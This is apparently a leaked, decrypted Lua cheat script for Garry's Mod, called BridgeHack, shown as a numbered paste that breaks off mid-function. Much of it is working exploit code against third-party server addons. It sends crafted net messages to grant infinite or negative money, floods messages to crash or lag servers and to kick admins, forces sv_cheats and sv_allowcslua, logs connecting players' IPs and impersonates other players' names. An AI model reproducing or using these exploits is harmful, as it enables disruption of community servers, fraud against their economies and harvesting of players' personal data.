· 8 years ago · Jul 08, 2018, 02:08 AM
1// Leaked by velkon
2// decrypted by General Hex
3
4local dversion=1.3
5
6local dlversion ="v1.3"
7
8local outdated = 0
9
10local devbuild = 0
11
12local pastecheck = 0 // 0 = Bueno 1 = No Bueno
13
14local crash = 0
15
16local ulx_spam=0
17
18local ply = LocalPlayer()
19
20
21
22// INSTALIZATION
23
24// FUNCTIONS
25
26
27
28surface.CreateFont( "PopupHFont", {
29
30 font = "Segoe UI Light",
31
32 size = 50,
33
34 weight = 1000,
35
36} )
37
38
39
40surface.CreateFont("HeaderFont", {
41
42 font = "Segoe UI Semilight",
43
44 size = 22,
45
46 weight = 300
47
48})
49
50
51
52surface.CreateFont("PopupFont", {
53
54 font = "Segoe UI Light",
55
56 size = 21,
57
58 weight = 300
59
60})
61
62
63
64surface.CreateFont("HeadingFont",{
65
66 font = "ChatFont",
67
68 size = 20,
69
70 weight = 500,
71
72 antialias = true,
73
74})
75
76
77
78function SoundClick()
79
80 if GetConVarNumber("bh_playsound") > 0 then
81
82 surface.PlaySound("buttons/lightswitch2.wav")
83
84 else
85
86end end
87
88
89
90function consoleP(message)
91
92 queries = queries + 1
93
94 MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
95
96end
97
98
99
100function SoundPop()
101
102 --buttons/blip1.wav
103
104 --buttons/button14.wav
105
106 --buttons/lightswitch2.wav
107
108 if GetConVarNumber("bh_playsound") > 0 then
109
110 surface.PlaySound("buttons/button14.wav")
111
112 else
113
114end end
115
116
117
118local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
119
120
121
122function HitBitches()
123
124 net.Start("hitcomplete")
125
126 net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
127
128 net.SendToServer()
129
130end
131
132concommand.Add("bh_hithack", HitBitches)
133
134
135
136function clearcon()
137
138 for i=0, 100 do
139
140 print(" ")
141
142end end
143
144
145
146function cleardchat()
147
148 for i=0, 100 do
149
150 chat.AddText(" ")
151
152 end end
153
154
155
156--[[
157
158 Woo, Coloured chat messages!
159
160]]--
161
162function chatP(message)
163
164 queries = queries + 1
165
166 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
167
168 --status(message)
169
170end
171
172
173
174function chatPR(message)
175
176 queries = queries + 1
177
178 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
179
180 --status(message)
181
182end
183
184
185
186function chatPG(message)
187
188 queries = queries + 1
189
190 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
191
192 --status(message)
193
194end
195
196queries=1;
197
198http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
199
200 serverlist = body
201
202end,function( error )
203
204 chatP("Error accessing PasteBin!")
205
206end)
207
208
209
210http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
211
212 changelogs = body
213
214end,function( error )
215
216 chatP("Error accessing PasteBin!")
217
218end)
219
220
221
222function printchange()
223
224 consoleP(""..changelogs.."")
225
226end
227
228concommand.Add("bh_logs", printchange)
229
230
231
232--[[
233
234
235
236 PASTEBIN
237
238
239
240 CHECK
241
242
243
244
245
246]]--
247
248local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
249
250
251
252function CheckPastebin()
253
254 http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
255
256 bintext = body
257
258 local stringbin = ( tostring( bintext ))
259
260 if (StringM8 == stringbin) then
261
262 consoleP("Connection to PasteBin is good!")
263
264 else
265
266 pastecheck = 1
267
268 chatP("Connection to PasteBin is broken!")
269
270 chatP("BridgeHack needs PasteBin to properly work!")
271
272 end end) end
273
274--[[
275
276~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
277
278 --]]
279
280function VersionCheck()
281
282 http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
283
284 local findpos = string.find( HTML, "CVERSION =", 0, false )
285
286 if (findpos) then
287
288 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
289
290 if (pastecheck == 1) then
291
292 chatP("Can't check for newer versions because PasteBin is unaccessable!")
293
294 elseif ( version > dversion ) then
295
296 outdated = 1
297
298 chatP("Your version is out of date!" )
299
300 elseif ( version == dversion ) then
301
302 chatP("Your version is up to date." )
303
304 elseif (version < dversion) then
305
306 devbuild = 1
307
308 else
309
310 chatP("Error checking versions!")
311
312 end end end) end
313
314VersionCheck()
315
316
317
318/*
319
320 About Menu
321
322
323
324 Woo, learn about us.
325
326
327
328*/
329 button = vgui.Create("DButton", frame)
330
331 button:SetSize(110,32.5)
332
333 button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
334
335 button:SetText("")
336
337 button.Paint = function(s,w,h)
338
339 surface.SetDrawColor( Color(255,255,255) )
340
341 surface.DrawRect( 0,0, w,h )
342
343 surface.SetDrawColor( Color(13,136,69) )
344
345 surface.DrawRect( 0+3,0+3, w-6,h-6 )
346
347 surface.SetTextColor(255,255,255)
348
349 surface.SetFont("PopupFont")
350
351 surface.SetTextPos(30.5,5.5)
352
353 surface.DrawText( "Alright!" )
354
355 end
356
357 button.DoClick = function(s,w,h)
358
359 frame:Close()
360
361 SoundClick()
362
363 end end
364
365/*
366
367
368
369 GUYS ITS FINALLY HERE!!!
370
371
372
373
374
375
376
377 BridgeHack WELCOME SCREEN!!!!!
378
379
380
381
382
383*/
384
385function WelcomeScreen()
386
387 local Popup = vgui.Create("DFrame")
388
389 Popup:SetSize( ScrW(), ScrH() )
390
391 Popup:SetPos( 0,0 )
392
393 Popup:SetVisible( true )
394
395 Popup:SetDraggable( false )
396
397 Popup:SetTitle( "" )
398
399 Popup:MakePopup()
400
401 Popup:ShowCloseButton( false )
402
403
404
405 Popup.Paint = function(s,w,h)
406
407 surface.SetDrawColor( Color(0,0,0,200) )
408
409 surface.DrawRect( 0,0, w,h )
410
411 surface.SetDrawColor( Color(13,136,69) )
412
413 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
414
415 surface.SetTextColor(255,255,255)
416
417 surface.SetTextPos(w/5.10, h/2.40)
418
419 if outdated == 0 then
420
421 surface.SetFont("PopupHFont")
422
423 surface.SetTextPos(w/5.10, h/3)
424
425 surface.DrawText("BridgeHack")
426
427 surface.SetFont("PopupFont")
428
429 surface.SetTextPos(w/5.10, h/2.50)
430
431 surface.DrawText( "The HaxRUs team hopes you do thoroughly enjoy using our menu!" )
432
433 surface.SetTextPos(w/5.10, h/2.40)
434
435 surface.DrawText( "Your version "..dlversion.." is up to date!" )
436
437 surface.SetTextPos(w/5.10, h/2.30)
438
439 surface.DrawText("Please, do not leak our menu.")
440
441 surface.SetTextPos(w/5.10, h/2.20)
442
443 surface.DrawText ( "We worked very hard on creating it." )
444
445 elseif outdated == 1 then
446
447 surface.SetFont("PopupFont")
448
449 surface.SetTextPos(w/5.10, h/2.50)
450
451 surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
452
453 else
454
455 surface.SetFont("PopupHFont")
456
457 surface.SetTextPos(10, 100)
458
459 surface.DrawText( "BridgeHack Version "..dlversion.."")
460
461 surface.SetFont("PopupFont")
462
463 surface.SetTextPos(w/5.10, h/2.50)
464
465 surface.DrawText( "Error" )
466
467 end end
468
469 button = vgui.Create("DButton", Popup)
470
471 button:SetSize(110,32.5)
472
473 button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
474
475 button:SetText("")
476
477 button.Paint = function(s,w,h)
478
479 surface.SetDrawColor( Color(255,255,255) )
480
481 surface.DrawRect( 0,0, w,h )
482
483 surface.SetDrawColor( Color(13,136,69) )
484
485 surface.DrawRect( 0+3,0+3, w-6,h-6 )
486
487 surface.SetTextColor(255,255,255)
488
489 surface.SetFont("PopupFont")
490
491 surface.SetTextPos(30.5,5.5)
492
493 surface.DrawText( "Alright!" )
494
495 end
496
497
498
499 button.DoClick = function(s,w,h)
500
501 Popup:Close()
502
503 SoundClick()
504
505 end
506
507
508
509 logbutton = vgui.Create("DButton", Popup)
510
511 logbutton:SetSize(110,32.5)
512
513 logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
514
515 logbutton:SetText("")
516
517 logbutton.Paint = function(s,w,h)
518
519 surface.SetDrawColor( Color(255,255,255) )
520
521 surface.DrawRect( 0,0, w,h )
522
523 surface.SetDrawColor( Color(13,170,181) )
524
525 surface.DrawRect( 0+3,0+3, w-6,h-6 )
526
527 surface.SetTextColor(255,255,255)
528
529 surface.SetFont("PopupFont")
530
531 surface.SetTextPos(10,5.5)
532
533 surface.DrawText( "Change Logs" )
534
535 end
536
537
538
539 logbutton.DoClick = function(s,w,h)
540
541 Popup:Close()
542
543 ChangeLogMenu()
544
545 SoundClick()
546
547 end end
548
549concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
550
551
552
553-- Version Menu It Looks PURDY
554
555
556
557function ChangeLogMenu()
558
559 local Panel = vgui.Create( "DFrame" )
560
561 Panel:SetSize( 800, 600 )
562
563 Panel:SetPos( ScrW(),ScrH() )
564
565 Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
566
567 Panel:SetTitle( "" )
568
569 Panel:MakePopup()
570
571 Panel:ShowCloseButton( false )
572
573 function Panel:Paint( w, h )
574
575 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
576
577 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
578
579 draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
580
581 end
582
583
584
585 local Button = vgui.Create("DButton", Panel)
586
587 Button:SetPos( 740, 10 )
588
589 Button:SetSize( 50, 25 )
590
591 Button:SetText( "" )
592
593 function Button:Paint( w, h )
594
595 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
596
597 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
598
599 end
600
601 Button.DoClick = function()
602
603 Panel:Close()
604
605 end
606
607
608
609 local Label = vgui.Create( "DLabel", Panel )
610
611 Label:SetColor( Color( 255, 255, 255, 255 ) )
612
613 Label:SetFont( "DermaLarge" )
614
615
616
617 if outdated == 1 then
618
619 Label:SetText( "Your version " ..dlversion.." is outdated!" )
620
621 Label:SetTextColor( Color( 255,0,0 ) )
622
623 elseif outdated == 0 then
624
625 Label:SetText( "Your version "..dlversion.." is up to date!" )
626
627 Label:SetTextColor( Color( 0,255,0 ) )
628
629 else
630
631 Label:SetText("Error receving version information!")
632
633 end
634
635
636
637 Label:SizeToContents()
638
639 Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
640
641
642
643 local HTML = vgui.Create( "HTML", Panel )
644
645 HTML:OpenURL( "http://pastebin.com/raw.php?i=Ax9WQ5y7" )
646
647 HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
648
649 HTML:SetPos( 25, 100 )
650
651 HTML.Paint = function()
652
653 surface.SetDrawColor( Color( 160, 160, 160) )
654
655 surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
656
657 end end
658
659/*
660
661
662
663
664
665 END MENU
666
667
668
669
670
671*/
672
673local randomvar = math.Rand(0,9999999)
674
675local BridgeHack = {}
676
677BridgeHack.RandomVar = randomvar
678
679local sweg = LocalPlayer():GetEyeTrace().Entity
680
681local ply = LocalPlayer()
682
683ply:ConCommand("bh_welcome")
684
685timer.Destroy("changecolor")
686
687
688
689queries=1;
690
691function status(statu)-- Made for debugging things.
692
693 queries = queries + 1
694
695 if GetConVarNumber("bh_showhud") == 1 then
696
697 hook.Add( "HUDPaint", "drawcurrent", function()
698
699 surface.SetFont( "BudgetLabel" )
700
701 surface.SetTextColor( 255,255,255 )
702
703 surface.SetTextPos( 25, 25 )
704
705 surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
706
707 end) end
708
709
710
711 if GetConVarNumber("bh_chat_status") == 1 then
712
713 chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
714
715 end end
716
717
718
719function Debug(message)
720
721 queries = queries + 1
722
723 chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
724
725end
726
727
728
729local function CreateCvar(cvar, value)
730
731 CreateClientConVar(cvar, value)
732
733 consoleP("CVAR: " .. cvar .. " set to " .. value)
734
735end
736
737
738
739local function ResetCvar(cvar, value)
740
741 ply:ConCommand("" .. cvar .. " " .. value)
742
743 Debug("CVAR: " .. cvar .. " reset to " .. value)
744
745end
746
747
748
749CheckPastebin()
750
751CreateCvar("bh_notify", 1)
752
753CreateCvar("bh_ulxgag", 1, true, false)
754
755CreateCvar("bh_playsound",1)
756
757CreateCvar("bh_hitmenuammount",0)
758
759CreateCvar("bh_menu_effects", 1)
760
761CreateCvar("bh_firstload_correct", 1)
762
763CreateCvar("bh_chat_status", 0)
764
765CreateCvar("bh_cheats_enabled_on_start", 0)
766
767CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
768
769CreateCvar("bh_showhud", 0)
770
771CreateCvar("bh_esp",0)
772
773CreateCvar("bh_esp_box",1)
774
775CreateCvar("bh_debug",0)
776
777CreateCvar("bh_esp_hp",1)
778
779CreateCvar("bh_esp_rank",1)
780
781CreateCvar("bh_renderdistance_enable",0)
782
783CreateCvar("bh_esp_rdistance",2000)
784
785CreateCvar("bh_esp_infocolor_r",255)
786
787CreateCvar("bh_esp_infocolor_g",0)
788
789CreateCvar("bh_esp_infocolor_b",255)
790
791CreateCvar("bh_ratm_money2give",100000)
792
793
794
795
796
797if GetConVarNumber("bh_firstload_correct") == 1 then
798
799 Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching BridgeHack on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing BridgeHack, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to BridgeHack " .. ply:Nick() .. "!", "Click me to continue" )
800
801 ply:ConCommand("bh_firstload_correct 0")
802
803 chatP("Welcome to the world of BridgeHack.")
804
805
806
807else
808
809end
810
811
812
813if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
814
815 ply:ConCommand("incrementvar sv_cheats 0 1 1")
816
817 status("Enabled sv_cheats to 1")
818
819else
820
821end
822
823if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
824
825
826
827 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
828
829 status("Enabled sv_allowcslua to 1")
830
831else
832
833end
834
835
836
837// FIXES
838
839local oChatAddText = chat.AddText
840
841
842
843function chat.AddText( ... )
844
845 local cArgs = { ... };
846
847
848
849
850
851 for k, v in pairs( cArgs ) do
852
853 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
854
855 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
856
857 return false;
858
859 else
860
861 end
862
863 end
864
865 return oChatAddText( ... );
866
867end
868
869
870
871---------------------------------------// Global timers //---------------------------------------
872
873if GetConVarNumber("bh_showhud") == 1 then
874
875 hook.Add( "HUDPaint", "drawcursor", function()
876
877 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
878
879 surface.SetDrawColor(c)
880
881 surface.DrawLine(x - 10, y, x - 5, y)
882
883 surface.DrawLine(x, y + 5, x, y + 10)
884
885 surface.DrawLine(x + 10, y, x + 5, y)
886
887 end)
888
889
890
891 hook.Add( "HUDPaint", "drawabout", function()
892
893 surface.SetFont( "BudgetLabel" )
894
895 surface.SetTextColor( 46, 204, 113 )
896
897 surface.SetTextPos( 25, 15 )
898
899 surface.DrawText( "BridgeHack " .. dlversion )
900
901 end)
902
903
904
905 if GetConVarNumber("bh_debug") > 0 then
906
907 if system.IsWindows( ) == true then
908
909 hook.Add( "HUDPaint", "drawdev1", function()
910
911 surface.SetFont( "BudgetLabel" )
912
913 surface.SetTextColor( 231, 76, 60 )
914
915 surface.SetTextPos( 25, 47 )
916
917 surface.DrawText( "[] Server Operating System: Windows" )
918
919 end)
920
921 end
922
923
924
925 if system.IsLinux( ) == true then
926
927 hook.Add( "HUDPaint", "drawdev2", function()
928
929 surface.SetFont( "BudgetLabel" )
930
931 surface.SetTextColor( 231, 76, 60 )
932
933 surface.SetTextPos( 25, 47 )
934
935 surface.DrawText( "[] Server Operating System: Linux" )
936
937 end)
938
939 end
940
941
942
943 if system.IsOSX( ) == true then
944
945 hook.Add( "HUDPaint", "drawdev3", function()
946
947 surface.SetFont( "BudgetLabel" )
948
949 surface.SetTextColor( 231, 76, 60 )
950
951 surface.SetTextPos( 25, 47 )
952
953 surface.DrawText( "[] Server Operating System: OSX")
954
955 end)
956
957 end
958
959
960
961 hook.Add( "HUDPaint", "drawdev4", function()
962
963 surface.SetFont( "BudgetLabel" )
964
965 surface.SetTextColor( 231, 76, 60 )
966
967 surface.SetTextPos( 25, 47 )
968
969 surface.DrawText( "[] Server Operating System: Windows" )
970
971 end)
972
973
974
975 hook.Add( "HUDPaint", "drawdev5", function()
976
977 surface.SetFont( "BudgetLabel" )
978
979 surface.SetTextColor( 231, 76, 60 )
980
981 surface.SetTextPos( 25, 57 )
982
983 surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
984
985 end)
986
987
988
989 hook.Add( "HUDPaint", "drawdev6", function()
990
991 surface.SetFont( "BudgetLabel" )
992
993 surface.SetTextColor( 231, 76, 60 )
994
995 surface.SetTextPos( 25, 67 )
996
997 surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
998
999 end)
1000
1001
1002
1003 end
1004
1005end
1006
1007
1008
1009status("Starting")
1010
1011status("BridgeHack Loaded")
1012
1013
1014
1015for k,v in pairs(player.GetAll()) do
1016
1017
1018
1019 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1020
1021 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
1022
1023 end
1024
1025consoleP("BridgeHack, by HaxRUs")
1026
1027consoleP(dlversion)
1028
1029
1030
1031// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
1032
1033// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
1034
1035
1036
1037concommand.Add("bh_hitmanxcrash", function ( ply )
1038
1039for i=0,300 do
1040
1041for k,v in pairs(player.GetAll()) do
1042
1043net.Start( "SendMoney" )
1044
1045net.WriteEntity( v )
1046
1047net.WriteEntity( v )
1048
1049net.WriteEntity( v )
1050
1051net.WriteString( "-100000000000000000000000000000000000000000" )
1052
1053net.SendToServer()
1054
1055
1056
1057end end end)
1058
1059
1060
1061concommand.Add("bh_hitmanxinfa", function ( ply )
1062
1063for k,v in pairs(player.GetAll()) do
1064
1065net.Start( "SendMoney" )
1066
1067net.WriteEntity( v )
1068
1069net.WriteEntity( v )
1070
1071net.WriteEntity( v )
1072
1073net.WriteString( "-100000000000000000000000000000000000000000" )
1074
1075net.SendToServer()
1076
1077
1078
1079end end)
1080
1081
1082
1083concommand.Add("bh_hitmancrash",function()
1084
1085 for i=0,5000 do
1086
1087 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
1088
1089 end
1090
1091
1092
1093end)
1094
1095
1096
1097concommand.Add("bh_ulxgag",function()
1098
1099 if(ulx and ulx.gagUser) then
1100
1101 if GetConVarNumber("bh_ulxgag") == 1 then
1102
1103 ulx.gagUser(LocalPlayer(),false)
1104
1105 else
1106
1107 end
1108
1109 else
1110
1111 end
1112
1113
1114
1115end)
1116
1117
1118
1119concommand.Add("bh_antiaim",function()
1120
1121 hook.Add("CreateMove",function(cmd, u)
1122
1123 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
1124
1125 local aa = cmd:GetViewAngles()
1126
1127 cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
1128
1129end)
1130
1131
1132
1133end)
1134
1135
1136
1137
1138
1139concommand.Add("bh_infinite_all",function()
1140
1141 clearcon()
1142
1143 cleardchat()
1144
1145 chatP("Giving money, He he")
1146
1147for k,v in pairs(player.GetAll()) do
1148
1149net.Start( "BailOut" )
1150
1151 net.WriteEntity( v )
1152
1153 net.WriteEntity( v )
1154
1155 net.WriteFloat( -infinite )
1156
1157 net.SendToServer()
1158
1159 end
1160
1161
1162
1163end)
1164
1165
1166
1167concommand.Add("bh_ipsteal",function()
1168
1169hook.Add("PlayerConnect", "IPStealer", function(name, ip)
1170
1171 file.Append("ips.txt", name .. " - " .. ip .. "\n")
1172
1173end)
1174
1175
1176
1177end)
1178
1179
1180
1181local nlr = CreateClientConVar("bh_nlr_freeze", "0", true, false)
1182
1183
1184
1185local function nlrs()
1186
1187 if nlr:GetBool() then
1188
1189 for k,v in pairs(player.GetAll())do
1190
1191 if v != LocalPlayer() then
1192
1193 net.Start("NLR.ActionPlayer")
1194
1195 net.WriteEntity(v)
1196
1197 net.SendToServer()
1198
1199 end
1200
1201 end
1202
1203 end
1204
1205 end
1206
1207timer.Create("nlrs", 4,0,nlrs)
1208
1209
1210
1211LastTime = CurTime()
1212
1213
1214
1215function drawdatopscreen()
1216
1217 if GetConVarNumber("bh_notify") > 0 then
1218
1219 draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
1220
1221 sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
1222
1223 if sweg == 1 then
1224
1225 LastTime = CurTime()
1226
1227 end
1228
1229 draw.DrawText("BridgeHack (By Hax R Us) Loaded! | Any bugs? E-Mail haxrus1337@gmail.com! | Suggestions? We love feedback! E-Mail the Hax R Us team! | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
1230
1231 end
1232
1233end
1234
1235hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
1236
1237
1238
1239concommand.Add("bh_tp_spawn",function()
1240
1241 chatP("Teleported to spawn!")
1242
1243 consoleP("Teleported to spawn!")
1244
1245 status("Teleported to spawn!")
1246
1247 net.Start("DarkRP_Kun_ForceSpawn")
1248
1249 net.SendToServer()
1250
1251
1252
1253end)
1254
1255
1256
1257concommand.Add("bh_check",function()
1258
1259clearcon()
1260
1261cleardchat()
1262
1263chatP("Checking for exploitable addons...")
1264
1265if HIT then
1266
1267 chatPG("Hitman X | Found")
1268
1269else
1270
1271 chatPR("Hitman X | Not Found")
1272
1273end
1274
1275if HitMenu then
1276
1277 chatPG("Hit Menu | Found")
1278
1279else
1280
1281 chatPR("Hit Menu | Not Found")
1282
1283end
1284
1285if BAIL then
1286
1287 chatPG("BailNPC | Found")
1288
1289else
1290
1291 chatPR("BailNPC | Not Found")
1292
1293end
1294
1295if dLogs then
1296
1297 chatPG("DLOGS | Found")
1298
1299else
1300
1301 chatPR("DLOGS | Not Found")
1302
1303end
1304
1305if ChanNum then
1306
1307 chatPG("MXRadio| Found")
1308
1309else
1310
1311 chatPR("MXRadio | Not Found")
1312
1313end
1314
1315if VC_Menu_Info_Panel_Build then
1316
1317 chatPG("VCMD | Found")
1318
1319else
1320
1321 chatPR("VCMD | Not Found")
1322
1323end
1324
1325if MDE then
1326
1327 chatPG("MDE | Found")
1328
1329else
1330
1331 chatPR("MDE | Not Found")
1332
1333end
1334
1335if NLR then
1336
1337 chatPG("NLR | Found")
1338
1339else
1340
1341 chatPR("NLR | Not Found")
1342
1343end
1344
1345if Warnings_for_kick then
1346
1347 chatPG("ULX Extended | Found")
1348
1349else
1350
1351 chatPR("ULX Extended | Not Found")
1352
1353end
1354
1355
1356
1357end)
1358
1359
1360
1361function reloadeddunkalladmins()
1362
1363clearcon()
1364
1365chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
1366
1367timer.Create( "heymnangng", 3, 0, function()
1368
1369for k,v in ipairs(player.GetAll()) do
1370
1371if( v:GetUserGroup() != "user" ) then
1372
1373if v:Nick() != "Gam" then
1374
1375for i=0, 700 do
1376
1377net.Start( "GetCar" )
1378
1379net.WriteEntity(v)
1380
1381net.WriteEntity(v)
1382
1383net.SendToServer()
1384
1385end
1386
1387chatP('Kicked: '.. v:Nick().. "!")
1388
1389end end end end)end
1390
1391concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
1392
1393
1394
1395function dloglag()
1396
1397clearcon()
1398
1399print("Lagging server.")
1400
1401clearcon()
1402
1403print("Lagging server..")
1404
1405clearcon()
1406
1407print("Lagging server...")
1408
1409timer.Create( "dlogsisfucked", 3, 0, function()
1410
1411for i=0, 7000 do
1412
1413local tosend = {
1414
1415 cmd="+forward",
1416
1417 args=" "
1418
1419
1420
1421 }
1422
1423 net.Start('dLogsGetCommand')
1424
1425 net.WriteTable(tosend)
1426
1427 net.SendToServer()
1428
1429
1430
1431end end) end
1432
1433
1434
1435concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
1436
1437concommand.Add( "bh_dlogs_lag_off", function()
1438
1439 clearcon()
1440
1441 consoleP("Stopping the lag...")
1442
1443 chatP("Stopping the lag...")
1444
1445 timer.Destroy("dlogisfucked")
1446
1447end)
1448
1449
1450
1451concommand.Add("bh_admins", function()
1452
1453clearcon()
1454
1455chatP("Listing non-players..")
1456
1457chatP("Check console.")
1458
1459consoleP("============= ULX | Custom admin mode RANKS ============")
1460
1461for k,v in pairs(player.GetAll()) do
1462
1463 if( v:GetUserGroup() != "user" ) then
1464
1465 print(v:Nick().. " | ".. v:GetUserGroup())
1466
1467 end
1468
1469end
1470
1471consoleP("========================================================")
1472
1473end)
1474
1475
1476
1477local Spammer = CreateClientConVar("bh_advert", "0", true, false)
1478
1479
1480
1481local function Spam()
1482
1483 if Spammer:GetBool() then
1484
1485 RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
1486
1487 end end
1488
1489timer.Create("Spam", 1.5,0,Spam)
1490
1491
1492
1493local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
1494
1495function kickdaplayer()
1496
1497timer.Create( "heymnangng2", 3, 0, function()
1498
1499for k,v in ipairs(player.GetAll()) do
1500
1501if v:Nick() == GetConVar("g_mx_playername") then
1502
1503clearcon()
1504
1505print("Kicking: ")
1506
1507print(v:Nick())
1508
1509for i=0, 700 do
1510
1511net.Start( "GetCar" )
1512
1513net.WriteEntity(v)
1514
1515net.WriteEntity(v)
1516
1517net.SendToServer()
1518
1519end
1520
1521chatP("Kicked ".. v:Nick())
1522
1523consoleP("Kicked ".. v:Nick())
1524
1525end end end) end
1526
1527concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
1528
1529
1530
1531concommand.Add("Bh_clearcon",function()
1532
1533 clearcon()
1534
1535
1536
1537end)
1538
1539
1540
1541concommand.Add("Bh_clearchat",function()
1542
1543 cleardchat()
1544
1545
1546
1547end)
1548
1549
1550
1551
1552
1553concommand.Add("bh_3dcardealer_spamstore",function()
1554
1555 chatP("You better be looking at a car")
1556
1557 for i=0,100 do
1558
1559 clearcon()
1560
1561 chatP("Spamming store... ".."["..i.."]")
1562
1563 net.Start( "RXCAR_Shop_Sell_C2S" )
1564
1565 net.WriteTable({EAA=sweg, CDAA})
1566
1567 net.SendToServer()
1568
1569 end
1570
1571
1572
1573end)
1574
1575
1576
1577concommand.Add("bh_serverlist",function()
1578
1579 status("Printing lise to console...")
1580
1581 chatP("Check console.")
1582
1583 clearcon()
1584
1585 consoleP(""..serverlist.."")
1586
1587 status("Complete")
1588
1589
1590
1591end)
1592
1593
1594
1595function CheckAE()
1596
1597
1598
1599 if requestTables then
1600
1601 print("ae found, bh_ae will work")
1602
1603 chatP("AE was found, bh_ae will work.")
1604
1605 else
1606
1607 chatP("AE was not found, bh_ae will not work.")
1608
1609 end end
1610
1611concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
1612
1613
1614
1615concommand.Add("bh_ae_kickadmins",function()
1616
1617clearcon()
1618
1619chatP("Attempting to Kick admins")
1620
1621chatP("This will only work on admins+")
1622
1623timer.Create( "aekickdaskids", 3, 0, function()
1624
1625for k,v in ipairs(player.GetAll()) do
1626
1627if( v:GetUserGroup() != "user" ) then
1628
1629if( v:GetUserGroup() != "vip" ) then
1630
1631for i=0, 1000 do
1632
1633net.Start('plyWarning')
1634
1635 net.WriteEntity(v)
1636
1637 net.WriteString('You have to select a player before doing a action.')
1638
1639 net.SendToServer()
1640
1641end
1642
1643chatP('Attempting to kick: '.. v:Nick().. "!")
1644
1645
1646
1647end end end end) end)
1648
1649
1650
1651concommand.Add("bh_namesteal_on",function()
1652
1653 status("Running Script: Random Name Change [name steal]....")
1654
1655
1656
1657 timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
1658
1659 local plylastname = ply:Nick()
1660
1661 for k,v in pairs(player.GetAll()) do
1662
1663 local ligger_type = math.random(1,2)
1664
1665 local ligger_type1 = math.random(1,2)
1666
1667 status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
1668
1669 if ligger_type1 == ligger_type then
1670
1671 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
1672
1673 if plylastname == v:Nick() then
1674
1675 local ligger_type = math.random(1,2)
1676
1677 local ligger_type1 = math.random(1,2)
1678
1679 else
1680
1681 ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
1682
